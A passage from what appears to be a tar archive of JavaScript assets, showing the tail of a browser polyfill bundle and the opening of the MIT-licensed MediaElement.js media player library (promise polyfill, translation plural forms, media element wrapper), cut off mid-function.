window.CustomEvent === 'function') { return false; } function CustomEvent(event, params) { params = params || { bubbles: false, cancelable: false, detail: undefined }; var evt = _document2.default.createEvent('CustomEvent'); evt.initCustomEvent(event, params.bubbles, params.cancelable, params.detail); return evt; } CustomEvent.prototype = window.Event.prototype; window.CustomEvent = CustomEvent; })(); if (typeof Object.assign !== 'function') { Object.assign = function (target) { if (target === null || target === undefined) { throw new TypeError('Cannot convert undefined or null to object'); } var to = Object(target); for (var index = 1, total = arguments.length; index < total; index++) { var nextSource = arguments[index]; if (nextSource !== null) { for (var nextKey in nextSource) { if (Object.prototype.hasOwnProperty.call(nextSource, nextKey)) { to[nextKey] = nextSource[nextKey]; } } } } return to; }; } if (!String.prototype.startsWith) { String.prototype.startsWith = function (searchString, position) { position = position || 0; return this.substr(position, searchString.length) === searchString; }; } if (!Element.prototype.matches) { Element.prototype.matches = Element.prototype.matchesSelector || Element.prototype.mozMatchesSelector || Element.prototype.msMatchesSelector || Element.prototype.oMatchesSelector || Element.prototype.webkitMatchesSelector || function (s) { var matches = (this.document || this.ownerDocument).querySelectorAll(s), i = matches.length - 1; while (--i >= 0 && matches.item(i) !== this) {} return i > -1; }; } if (window.Element && !Element.prototype.closest) { Element.prototype.closest = function (s) { var matches = (this.document || this.ownerDocument).querySelectorAll(s), i = void 0, el = this; do { i = matches.length; while (--i >= 0 && matches.item(i) !== el) {} } while (i < 0 && (el = el.parentElement)); return el; }; } (function () { var lastTime = 0; var vendors = ['ms', 'moz', 'webkit', 'o']; for (var x = 0; x < vendors.length && !window.requestAnimationFrame; ++x) { window.requestAnimationFrame = window[vendors[x] + 'RequestAnimationFrame']; window.cancelAnimationFrame = window[vendors[x] + 'CancelAnimationFrame'] || window[vendors[x] + 'CancelRequestAnimationFrame']; } if (!window.requestAnimationFrame) window.requestAnimationFrame = function (callback) { var currTime = new Date().getTime(); var timeToCall = Math.max(0, 16 - (currTime - lastTime)); var id = window.setTimeout(function () { callback(currTime + timeToCall); }, timeToCall); lastTime = currTime + timeToCall; return id; }; if (!window.cancelAnimationFrame) window.cancelAnimationFrame = function (id) { clearTimeout(id); }; })(); if (/firefox/i.test(navigator.userAgent)) { var getComputedStyle = window.getComputedStyle; window.getComputedStyle = function (el, pseudoEl) { var t = getComputedStyle(el, pseudoEl); return t === null ? { getPropertyValue: function getPropertyValue() {} } : t; }; } if (!window.Promise) { window.Promise = _promisePolyfill2.default; } (function (constructor) { if (constructor && constructor.prototype && constructor.prototype.children === null) { Object.defineProperty(constructor.prototype, 'children', { get: function get() { var i = 0, node = void 0, nodes = this.childNodes, children = []; while (node = nodes[i++]) { if (node.nodeType === 1) { children.push(node); } } return children; } }); } })(window.Node || window.Element); },{"2":2,"4":4}]},{},[20,6,5,9,14,11,10,12,13,15]); �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/mediaelement/mediaelement-and-player.js����������������������������������������������������������0000644�����������������00001006073�14717703502�0014647 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * MediaElement.js * http://www.mediaelementjs.com/ * * Wrapper that mimics native HTML5 MediaElement (audio and video) * using a variety of technologies (pure JavaScript, Flash, iframe) * * Copyright 2010-2017, John Dyer (http://j.hn/) * License: MIT * */(function(){function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require=="function"&&require;if(!u&&a)return a(o,!0);if(i)return i(o,!0);var f=new Error("Cannot find module '"+o+"'");throw f.code="MODULE_NOT_FOUND",f}var l=n[o]={exports:{}};t[o][0].call(l.exports,function(e){var n=t[o][1][e];return s(n?n:e)},l,l.exports,e,t,n,r)}return n[o].exports}var i=typeof require=="function"&&require;for(var o=0;o<r.length;o++)s(r[o]);return s}return e})()({1:[function(_dereq_,module,exports){ },{}],2:[function(_dereq_,module,exports){ (function (global){ var topLevel = typeof global !== 'undefined' ? global : typeof window !== 'undefined' ? window : {} var minDoc = _dereq_(1); var doccy; if (typeof document !== 'undefined') { doccy = document; } else { doccy = topLevel['__GLOBAL_DOCUMENT_CACHE@4']; if (!doccy) { doccy = topLevel['__GLOBAL_DOCUMENT_CACHE@4'] = minDoc; } } module.exports = doccy; }).call(this,typeof global !== "undefined" ? global : typeof self !== "undefined" ? self : typeof window !== "undefined" ? window : {}) },{"1":1}],3:[function(_dereq_,module,exports){ (function (global){ var win; if (typeof window !== "undefined") { win = window; } else if (typeof global !== "undefined") { win = global; } else if (typeof self !== "undefined"){ win = self; } else { win = {}; } module.exports = win; }).call(this,typeof global !== "undefined" ? global : typeof self !== "undefined" ? self : typeof window !== "undefined" ? window : {}) },{}],4:[function(_dereq_,module,exports){ (function (root) { // Store setTimeout reference so promise-polyfill will be unaffected by // other code modifying setTimeout (like sinon.useFakeTimers()) var setTimeoutFunc = setTimeout; function noop() {} // Polyfill for Function.prototype.bind function bind(fn, thisArg) { return function () { fn.apply(thisArg, arguments); }; } function Promise(fn) { if (typeof this !== 'object') throw new TypeError('Promises must be constructed via new'); if (typeof fn !== 'function') throw new TypeError('not a function'); this._state = 0; this._handled = false; this._value = undefined; this._deferreds = []; doResolve(fn, this); } function handle(self, deferred) { while (self._state === 3) { self = self._value; } if (self._state === 0) { self._deferreds.push(deferred); return; } self._handled = true; Promise._immediateFn(function () { var cb = self._state === 1 ? deferred.onFulfilled : deferred.onRejected; if (cb === null) { (self._state === 1 ? resolve : reject)(deferred.promise, self._value); return; } var ret; try { ret = cb(self._value); } catch (e) { reject(deferred.promise, e); return; } resolve(deferred.promise, ret); }); } function resolve(self, newValue) { try { // Promise Resolution Procedure: https://github.com/promises-aplus/promises-spec#the-promise-resolution-procedure if (newValue === self) throw new TypeError('A promise cannot be resolved with itself.'); if (newValue && (typeof newValue === 'object' || typeof newValue === 'function')) { var then = newValue.then; if (newValue instanceof Promise) { self._state = 3; self._value = newValue; finale(self); return; } else if (typeof then === 'function') { doResolve(bind(then, newValue), self); return; } } self._state = 1; self._value = newValue; finale(self); } catch (e) { reject(self, e); } } function reject(self, newValue) { self._state = 2; self._value = newValue; finale(self); } function finale(self) { if (self._state === 2 && self._deferreds.length === 0) { Promise._immediateFn(function() { if (!self._handled) { Promise._unhandledRejectionFn(self._value); } }); } for (var i = 0, len = self._deferreds.length; i < len; i++) { handle(self, self._deferreds[i]); } self._deferreds = null; } function Handler(onFulfilled, onRejected, promise) { this.onFulfilled = typeof onFulfilled === 'function' ? onFulfilled : null; this.onRejected = typeof onRejected === 'function' ? onRejected : null; this.promise = promise; } /** * Take a potentially misbehaving resolver function and make sure * onFulfilled and onRejected are only called once. * * Makes no guarantees about asynchrony. */ function doResolve(fn, self) { var done = false; try { fn(function (value) { if (done) return; done = true; resolve(self, value); }, function (reason) { if (done) return; done = true; reject(self, reason); }); } catch (ex) { if (done) return; done = true; reject(self, ex); } } Promise.prototype['catch'] = function (onRejected) { return this.then(null, onRejected); }; Promise.prototype.then = function (onFulfilled, onRejected) { var prom = new (this.constructor)(noop); handle(this, new Handler(onFulfilled, onRejected, prom)); return prom; }; Promise.all = function (arr) { var args = Array.prototype.slice.call(arr); return new Promise(function (resolve, reject) { if (args.length === 0) return resolve([]); var remaining = args.length; function res(i, val) { try { if (val && (typeof val === 'object' || typeof val === 'function')) { var then = val.then; if (typeof then === 'function') { then.call(val, function (val) { res(i, val); }, reject); return; } } args[i] = val; if (--remaining === 0) { resolve(args); } } catch (ex) { reject(ex); } } for (var i = 0; i < args.length; i++) { res(i, args[i]); } }); }; Promise.resolve = function (value) { if (value && typeof value === 'object' && value.constructor === Promise) { return value; } return new Promise(function (resolve) { resolve(value); }); }; Promise.reject = function (value) { return new Promise(function (resolve, reject) { reject(value); }); }; Promise.race = function (values) { return new Promise(function (resolve, reject) { for (var i = 0, len = values.length; i < len; i++) { values[i].then(resolve, reject); } }); }; // Use polyfill for setImmediate for performance gains Promise._immediateFn = (typeof setImmediate === 'function' && function (fn) { setImmediate(fn); }) || function (fn) { setTimeoutFunc(fn, 0); }; Promise._unhandledRejectionFn = function _unhandledRejectionFn(err) { if (typeof console !== 'undefined' && console) { console.warn('Possible Unhandled Promise Rejection:', err); // eslint-disable-line no-console } }; /** * Set the immediate function to execute callbacks * @param fn {function} Function to execute * @deprecated */ Promise._setImmediateFn = function _setImmediateFn(fn) { Promise._immediateFn = fn; }; /** * Change the function to execute on unhandled rejection * @param {function} fn Function to execute on unhandled rejection * @deprecated */ Promise._setUnhandledRejectionFn = function _setUnhandledRejectionFn(fn) { Promise._unhandledRejectionFn = fn; }; if (typeof module !== 'undefined' && module.exports) { module.exports = Promise; } else if (!root.Promise) { root.Promise = Promise; } })(this); },{}],5:[function(_dereq_,module,exports){ 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); var _en = _dereq_(15); var _general = _dereq_(27); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var i18n = { lang: 'en', en: _en.EN }; i18n.language = function () { for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) { args[_key] = arguments[_key]; } if (args !== null && args !== undefined && args.length) { if (typeof args[0] !== 'string') { throw new TypeError('Language code must be a string value'); } if (!/^[a-z]{2,3}((\-|_)[a-z]{2})?$/i.test(args[0])) { throw new TypeError('Language code must have format 2-3 letters and. optionally, hyphen, underscore followed by 2 more letters'); } i18n.lang = args[0]; if (i18n[args[0]] === undefined) { args[1] = args[1] !== null && args[1] !== undefined && _typeof(args[1]) === 'object' ? args[1] : {}; i18n[args[0]] = !(0, _general.isObjectEmpty)(args[1]) ? args[1] : _en.EN; } else if (args[1] !== null && args[1] !== undefined && _typeof(args[1]) === 'object') { i18n[args[0]] = args[1]; } } return i18n.lang; }; i18n.t = function (message) { var pluralParam = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : null; if (typeof message === 'string' && message.length) { var str = void 0, pluralForm = void 0; var language = i18n.language(); var _plural = function _plural(input, number, form) { if ((typeof input === 'undefined' ? 'undefined' : _typeof(input)) !== 'object' || typeof number !== 'number' || typeof form !== 'number') { return input; } var _pluralForms = function () { return [function () { return arguments.length <= 1 ? undefined : arguments[1]; }, function () { return (arguments.length <= 0 ? undefined : arguments[0]) === 1 ? arguments.length <= 1 ? undefined : arguments[1] : arguments.length <= 2 ? undefined : arguments[2]; }, function () { return (arguments.length <= 0 ? undefined : arguments[0]) === 0 || (arguments.length <= 0 ? undefined : arguments[0]) === 1 ? arguments.length <= 1 ? undefined : arguments[1] : arguments.length <= 2 ? undefined : arguments[2]; }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 === 1 && (arguments.length <= 0 ? undefined : arguments[0]) % 100 !== 11) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) !== 0) { return arguments.length <= 2 ? undefined : arguments[2]; } else { return arguments.length <= 3 ? undefined : arguments[3]; } }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) === 1 || (arguments.length <= 0 ? undefined : arguments[0]) === 11) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) === 2 || (arguments.length <= 0 ? undefined : arguments[0]) === 12) { return arguments.length <= 2 ? undefined : arguments[2]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) > 2 && (arguments.length <= 0 ? undefined : arguments[0]) < 20) { return arguments.length <= 3 ? undefined : arguments[3]; } else { return arguments.length <= 4 ? undefined : arguments[4]; } }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) === 0 || (arguments.length <= 0 ? undefined : arguments[0]) % 100 > 0 && (arguments.length <= 0 ? undefined : arguments[0]) % 100 < 20) { return arguments.length <= 2 ? undefined : arguments[2]; } else { return arguments.length <= 3 ? undefined : arguments[3]; } }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 === 1 && (arguments.length <= 0 ? undefined : arguments[0]) % 100 !== 11) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 >= 2 && ((arguments.length <= 0 ? undefined : arguments[0]) % 100 < 10 || (arguments.length <= 0 ? undefined : arguments[0]) % 100 >= 20)) { return arguments.length <= 2 ? undefined : arguments[2]; } else { return [3]; } }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 === 1 && (arguments.length <= 0 ? undefined : arguments[0]) % 100 !== 11) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 >= 2 && (arguments.length <= 0 ? undefined : arguments[0]) % 10 <= 4 && ((arguments.length <= 0 ? undefined : arguments[0]) % 100 < 10 || (arguments.length <= 0 ? undefined : arguments[0]) % 100 >= 20)) { return arguments.length <= 2 ? undefined : arguments[2]; } else { return arguments.length <= 3 ? undefined : arguments[3]; } }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) >= 2 && (arguments.length <= 0 ? undefined : arguments[0]) <= 4) { return arguments.length <= 2 ? undefined : arguments[2]; } else { return arguments.length <= 3 ? undefined : arguments[3]; } }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 >= 2 && (arguments.length <= 0 ? undefined : arguments[0]) % 10 <= 4 && ((arguments.length <= 0 ? undefined : arguments[0]) % 100 < 10 || (arguments.length <= 0 ? undefined : arguments[0]) % 100 >= 20)) { return arguments.length <= 2 ? undefined : arguments[2]; } else { return arguments.length <= 3 ? undefined : arguments[3]; } }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) % 100 === 1) { return arguments.length <= 2 ? undefined : arguments[2]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) % 100 === 2) { return arguments.length <= 3 ? undefined : arguments[3]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) % 100 === 3 || (arguments.length <= 0 ? undefined : arguments[0]) % 100 === 4) { return arguments.length <= 4 ? undefined : arguments[4]; } else { return arguments.length <= 1 ? undefined : arguments[1]; } }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) === 2) { return arguments.length <= 2 ? undefined : arguments[2]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) > 2 && (arguments.length <= 0 ? undefined : arguments[0]) < 7) { return arguments.length <= 3 ? undefined : arguments[3]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) > 6 && (arguments.length <= 0 ? undefined : arguments[0]) < 11) { return arguments.length <= 4 ? undefined : arguments[4]; } else { return arguments.length <= 5 ? undefined : arguments[5]; } }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) === 0) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) { return arguments.length <= 2 ? undefined : arguments[2]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) === 2) { return arguments.length <= 3 ? undefined : arguments[3]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) % 100 >= 3 && (arguments.length <= 0 ? undefined : arguments[0]) % 100 <= 10) { return arguments.length <= 4 ? undefined : arguments[4]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) % 100 >= 11) { return arguments.length <= 5 ? undefined : arguments[5]; } else { return arguments.length <= 6 ? undefined : arguments[6]; } }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) === 0 || (arguments.length <= 0 ? undefined : arguments[0]) % 100 > 1 && (arguments.length <= 0 ? undefined : arguments[0]) % 100 < 11) { return arguments.length <= 2 ? undefined : arguments[2]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) % 100 > 10 && (arguments.length <= 0 ? undefined : arguments[0]) % 100 < 20) { return arguments.length <= 3 ? undefined : arguments[3]; } else { return arguments.length <= 4 ? undefined : arguments[4]; } }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 === 1) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 === 2) { return arguments.length <= 2 ? undefined : arguments[2]; } else { return arguments.length <= 3 ? undefined : arguments[3]; } }, function () { return (arguments.length <= 0 ? undefined : arguments[0]) !== 11 && (arguments.length <= 0 ? undefined : arguments[0]) % 10 === 1 ? arguments.length <= 1 ? undefined : arguments[1] : arguments.length <= 2 ? undefined : arguments[2]; }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 >= 2 && (arguments.length <= 0 ? undefined : arguments[0]) % 10 <= 4 && ((arguments.length <= 0 ? undefined : arguments[0]) % 100 < 10 || (arguments.length <= 0 ? undefined : arguments[0]) % 100 >= 20)) { return arguments.length <= 2 ? undefined : arguments[2]; } else { return arguments.length <= 3 ? undefined : arguments[3]; } }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) === 2) { return arguments.length <= 2 ? undefined : arguments[2]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) !== 8 && (arguments.length <= 0 ? undefined : arguments[0]) !== 11) { return arguments.length <= 3 ? undefined : arguments[3]; } else { return arguments.length <= 4 ? undefined : arguments[4]; } }, function () { return (arguments.length <= 0 ? undefined : arguments[0]) === 0 ? arguments.length <= 1 ? undefined : arguments[1] : arguments.length <= 2 ? undefined : arguments[2]; }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) === 2) { return arguments.length <= 2 ? undefined : arguments[2]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) === 3) { return arguments.length <= 3 ? undefined : arguments[3]; } else { return arguments.length <= 4 ? undefined : arguments[4]; } }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) === 0) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) { return arguments.length <= 2 ? undefined : arguments[2]; } else { return arguments.length <= 3 ? undefined : arguments[3]; } }]; }(); return _pluralForms[form].apply(null, [number].concat(input)); }; if (i18n[language] !== undefined) { str = i18n[language][message]; if (pluralParam !== null && typeof pluralParam === 'number') { pluralForm = i18n[language]['mejs.plural-form']; str = _plural.apply(null, [str, pluralParam, pluralForm]); } } if (!str && i18n.en) { str = i18n.en[message]; if (pluralParam !== null && typeof pluralParam === 'number') { pluralForm = i18n.en['mejs.plural-form']; str = _plural.apply(null, [str, pluralParam, pluralForm]); } } str = str || message; if (pluralParam !== null && typeof pluralParam === 'number') { str = str.replace('%1', pluralParam); } return (0, _general.escapeHTML)(str); } return message; }; _mejs2.default.i18n = i18n; if (typeof mejsL10n !== 'undefined') { _mejs2.default.i18n.language(mejsL10n.language, mejsL10n.strings); } exports.default = i18n; },{"15":15,"27":27,"7":7}],6:[function(_dereq_,module,exports){ 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; var _window = _dereq_(3); var _window2 = _interopRequireDefault(_window); var _document = _dereq_(2); var _document2 = _interopRequireDefault(_document); var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); var _general = _dereq_(27); var _media2 = _dereq_(28); var _renderer = _dereq_(8); var _constants = _dereq_(25); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } var MediaElement = function MediaElement(idOrNode, options, sources) { var _this = this; _classCallCheck(this, MediaElement); var t = this; sources = Array.isArray(sources) ? sources : null; t.defaults = { renderers: [], fakeNodeName: 'mediaelementwrapper', pluginPath: 'build/', shimScriptAccess: 'sameDomain' }; options = Object.assign(t.defaults, options); t.mediaElement = _document2.default.createElement(options.fakeNodeName); var id = idOrNode, error = false; if (typeof idOrNode === 'string') { t.mediaElement.originalNode = _document2.default.getElementById(idOrNode); } else { t.mediaElement.originalNode = idOrNode; id = idOrNode.id; } if (t.mediaElement.originalNode === undefined || t.mediaElement.originalNode === null) { return null; } t.mediaElement.options = options; id = id || 'mejs_' + Math.random().toString().slice(2); t.mediaElement.originalNode.setAttribute('id', id + '_from_mejs'); var tagName = t.mediaElement.originalNode.tagName.toLowerCase(); if (['video', 'audio'].indexOf(tagName) > -1 && !t.mediaElement.originalNode.getAttribute('preload')) { t.mediaElement.originalNode.setAttribute('preload', 'none'); } t.mediaElement.originalNode.parentNode.insertBefore(t.mediaElement, t.mediaElement.originalNode); t.mediaElement.appendChild(t.mediaElement.originalNode); var processURL = function processURL(url, type) { if (_window2.default.location.protocol === 'https:' && url.indexOf('http:') === 0 && _constants.IS_IOS && _mejs2.default.html5media.mediaTypes.indexOf(type) > -1) { var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function () { if (this.readyState === 4 && this.status === 200) { var _url = _window2.default.URL || _window2.default.webkitURL, blobUrl = _url.createObjectURL(this.response); t.mediaElement.originalNode.setAttribute('src', blobUrl); return blobUrl; } return url; }; xhr.open('GET', url); xhr.responseType = 'blob'; xhr.send(); } return url; }; var mediaFiles = void 0; if (sources !== null) { mediaFiles = sources; } else if (t.mediaElement.originalNode !== null) { mediaFiles = []; switch (t.mediaElement.originalNode.nodeName.toLowerCase()) { case 'iframe': mediaFiles.push({ type: '', src: t.mediaElement.originalNode.getAttribute('src') }); break; case 'audio': case 'video': var _sources = t.mediaElement.originalNode.children.length, nodeSource = t.mediaElement.originalNode.getAttribute('src'); if (nodeSource) { var node = t.mediaElement.originalNode, type = (0, _media2.formatType)(nodeSource, node.getAttribute('type')); mediaFiles.push({ type: type, src: processURL(nodeSource, type) }); } for (var i = 0; i < _sources; i++) { var n = t.mediaElement.originalNode.children[i]; if (n.tagName.toLowerCase() === 'source') { var src = n.getAttribute('src'), _type = (0, _media2.formatType)(src, n.getAttribute('type')); mediaFiles.push({ type: _type, src: processURL(src, _type) }); } } break; } } t.mediaElement.id = id; t.mediaElement.renderers = {}; t.mediaElement.events = {}; t.mediaElement.promises = []; t.mediaElement.renderer = null; t.mediaElement.rendererName = null; t.mediaElement.changeRenderer = function (rendererName, mediaFiles) { var t = _this, media = Object.keys(mediaFiles[0]).length > 2 ? mediaFiles[0] : mediaFiles[0].src; if (t.mediaElement.renderer !== undefined && t.mediaElement.renderer !== null && t.mediaElement.renderer.name === rendererName) { t.mediaElement.renderer.pause(); if (t.mediaElement.renderer.stop) { t.mediaElement.renderer.stop(); } t.mediaElement.renderer.show(); t.mediaElement.renderer.setSrc(media); return true; } if (t.mediaElement.renderer !== undefined && t.mediaElement.renderer !== null) { t.mediaElement.renderer.pause(); if (t.mediaElement.renderer.stop) { t.mediaElement.renderer.stop(); } t.mediaElement.renderer.hide(); } var newRenderer = t.mediaElement.renderers[rendererName], newRendererType = null; if (newRenderer !== undefined && newRenderer !== null) { newRenderer.show(); newRenderer.setSrc(media); t.mediaElement.renderer = newRenderer; t.mediaElement.rendererName = rendererName; return true; } var rendererArray = t.mediaElement.options.renderers.length ? t.mediaElement.options.renderers : _renderer.renderer.order; for (var _i = 0, total = rendererArray.length; _i < total; _i++) { var index = rendererArray[_i]; if (index === rendererName) { var rendererList = _renderer.renderer.renderers; newRendererType = rendererList[index]; var renderOptions = Object.assign(newRendererType.options, t.mediaElement.options); newRenderer = newRendererType.create(t.mediaElement, renderOptions, mediaFiles); newRenderer.name = rendererName; t.mediaElement.renderers[newRendererType.name] = newRenderer; t.mediaElement.renderer = newRenderer; t.mediaElement.rendererName = rendererName; newRenderer.show(); return true; } } return false; }; t.mediaElement.setSize = function (width, height) { if (t.mediaElement.renderer !== undefined && t.mediaElement.renderer !== null) { t.mediaElement.renderer.setSize(width, height); } }; t.mediaElement.generateError = function (message, urlList) { message = message || ''; urlList = Array.isArray(urlList) ? urlList : []; var event = (0, _general.createEvent)('error', t.mediaElement); event.message = message; event.urls = urlList; t.mediaElement.dispatchEvent(event); error = true; }; var props = _mejs2.default.html5media.properties, methods = _mejs2.default.html5media.methods, addProperty = function addProperty(obj, name, onGet, onSet) { var oldValue = obj[name]; var getFn = function getFn() { return onGet.apply(obj, [oldValue]); }, setFn = function setFn(newValue) { oldValue = onSet.apply(obj, [newValue]); return oldValue; }; Object.defineProperty(obj, name, { get: getFn, set: setFn }); }, assignGettersSetters = function assignGettersSetters(propName) { if (propName !== 'src') { var capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1), getFn = function getFn() { return t.mediaElement.renderer !== undefined && t.mediaElement.renderer !== null && typeof t.mediaElement.renderer['get' + capName] === 'function' ? t.mediaElement.renderer['get' + capName]() : null; }, setFn = function setFn(value) { if (t.mediaElement.renderer !== undefined && t.mediaElement.renderer !== null && typeof t.mediaElement.renderer['set' + capName] === 'function') { t.mediaElement.renderer['set' + capName](value); } }; addProperty(t.mediaElement, propName, getFn, setFn); t.mediaElement['get' + capName] = getFn; t.mediaElement['set' + capName] = setFn; } }, getSrc = function getSrc() { return t.mediaElement.renderer !== undefined && t.mediaElement.renderer !== null ? t.mediaElement.renderer.getSrc() : null; }, setSrc = function setSrc(value) { var mediaFiles = []; if (typeof value === 'string') { mediaFiles.push({ src: value, type: value ? (0, _media2.getTypeFromFile)(value) : '' }); } else if ((typeof value === 'undefined' ? 'undefined' : _typeof(value)) === 'object' && value.src !== undefined) { var _src = (0, _media2.absolutizeUrl)(value.src), _type2 = value.type, media = Object.assign(value, { src: _src, type: (_type2 === '' || _type2 === null || _type2 === undefined) && _src ? (0, _media2.getTypeFromFile)(_src) : _type2 }); mediaFiles.push(media); } else if (Array.isArray(value)) { for (var _i2 = 0, total = value.length; _i2 < total; _i2++) { var _src2 = (0, _media2.absolutizeUrl)(value[_i2].src), _type3 = value[_i2].type, _media = Object.assign(value[_i2], { src: _src2, type: (_type3 === '' || _type3 === null || _type3 === undefined) && _src2 ? (0, _media2.getTypeFromFile)(_src2) : _type3 }); mediaFiles.push(_media); } } var renderInfo = _renderer.renderer.select(mediaFiles, t.mediaElement.options.renderers.length ? t.mediaElement.options.renderers : []), event = void 0; if (!t.mediaElement.paused && !(t.mediaElement.src == null || t.mediaElement.src === '')) { t.mediaElement.pause(); event = (0, _general.createEvent)('pause', t.mediaElement); t.mediaElement.dispatchEvent(event); } t.mediaElement.originalNode.src = mediaFiles[0].src || ''; if (renderInfo === null && mediaFiles[0].src) { t.mediaElement.generateError('No renderer found', mediaFiles); return; } var shouldChangeRenderer = !(mediaFiles[0].src == null || mediaFiles[0].src === ''); return shouldChangeRenderer ? t.mediaElement.changeRenderer(renderInfo.rendererName, mediaFiles) : null; }, triggerAction = function triggerAction(methodName, args) { try { if (methodName === 'play' && (t.mediaElement.rendererName === 'native_dash' || t.mediaElement.rendererName === 'native_hls' || t.mediaElement.rendererName === 'vimeo_iframe')) { var response = t.mediaElement.renderer[methodName](args); if (response && typeof response.then === 'function') { response.catch(function () { if (t.mediaElement.paused) { setTimeout(function () { var tmpResponse = t.mediaElement.renderer.play(); if (tmpResponse !== undefined) { tmpResponse.catch(function () { if (!t.mediaElement.renderer.paused) { t.mediaElement.renderer.pause(); } }); } }, 150); } }); } } else { t.mediaElement.renderer[methodName](args); } } catch (e) { t.mediaElement.generateError(e, mediaFiles); } }, assignMethods = function assignMethods(methodName) { t.mediaElement[methodName] = function () { for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) { args[_key] = arguments[_key]; } if (t.mediaElement.renderer !== undefined && t.mediaElement.renderer !== null && typeof t.mediaElement.renderer[methodName] === 'function') { if (t.mediaElement.promises.length) { Promise.all(t.mediaElement.promises).then(function () { triggerAction(methodName, args); }).catch(function (e) { t.mediaElement.generateError(e, mediaFiles); }); } else { triggerAction(methodName, args); } } return null; }; }; addProperty(t.mediaElement, 'src', getSrc, setSrc); t.mediaElement.getSrc = getSrc; t.mediaElement.setSrc = setSrc; for (var _i3 = 0, total = props.length; _i3 < total; _i3++) { assignGettersSetters(props[_i3]); } for (var _i4 = 0, _total = methods.length; _i4 < _total; _i4++) { assignMethods(methods[_i4]); } t.mediaElement.addEventListener = function (eventName, callback) { t.mediaElement.events[eventName] = t.mediaElement.events[eventName] || []; t.mediaElement.events[eventName].push(callback); }; t.mediaElement.removeEventListener = function (eventName, callback) { if (!eventName) { t.mediaElement.events = {}; return true; } var callbacks = t.mediaElement.events[eventName]; if (!callbacks) { return true; } if (!callback) { t.mediaElement.events[eventName] = []; return true; } for (var _i5 = 0; _i5 < callbacks.length; _i5++) { if (callbacks[_i5] === callback) { t.mediaElement.events[eventName].splice(_i5, 1); return true; } } return false; }; t.mediaElement.dispatchEvent = function (event) { var 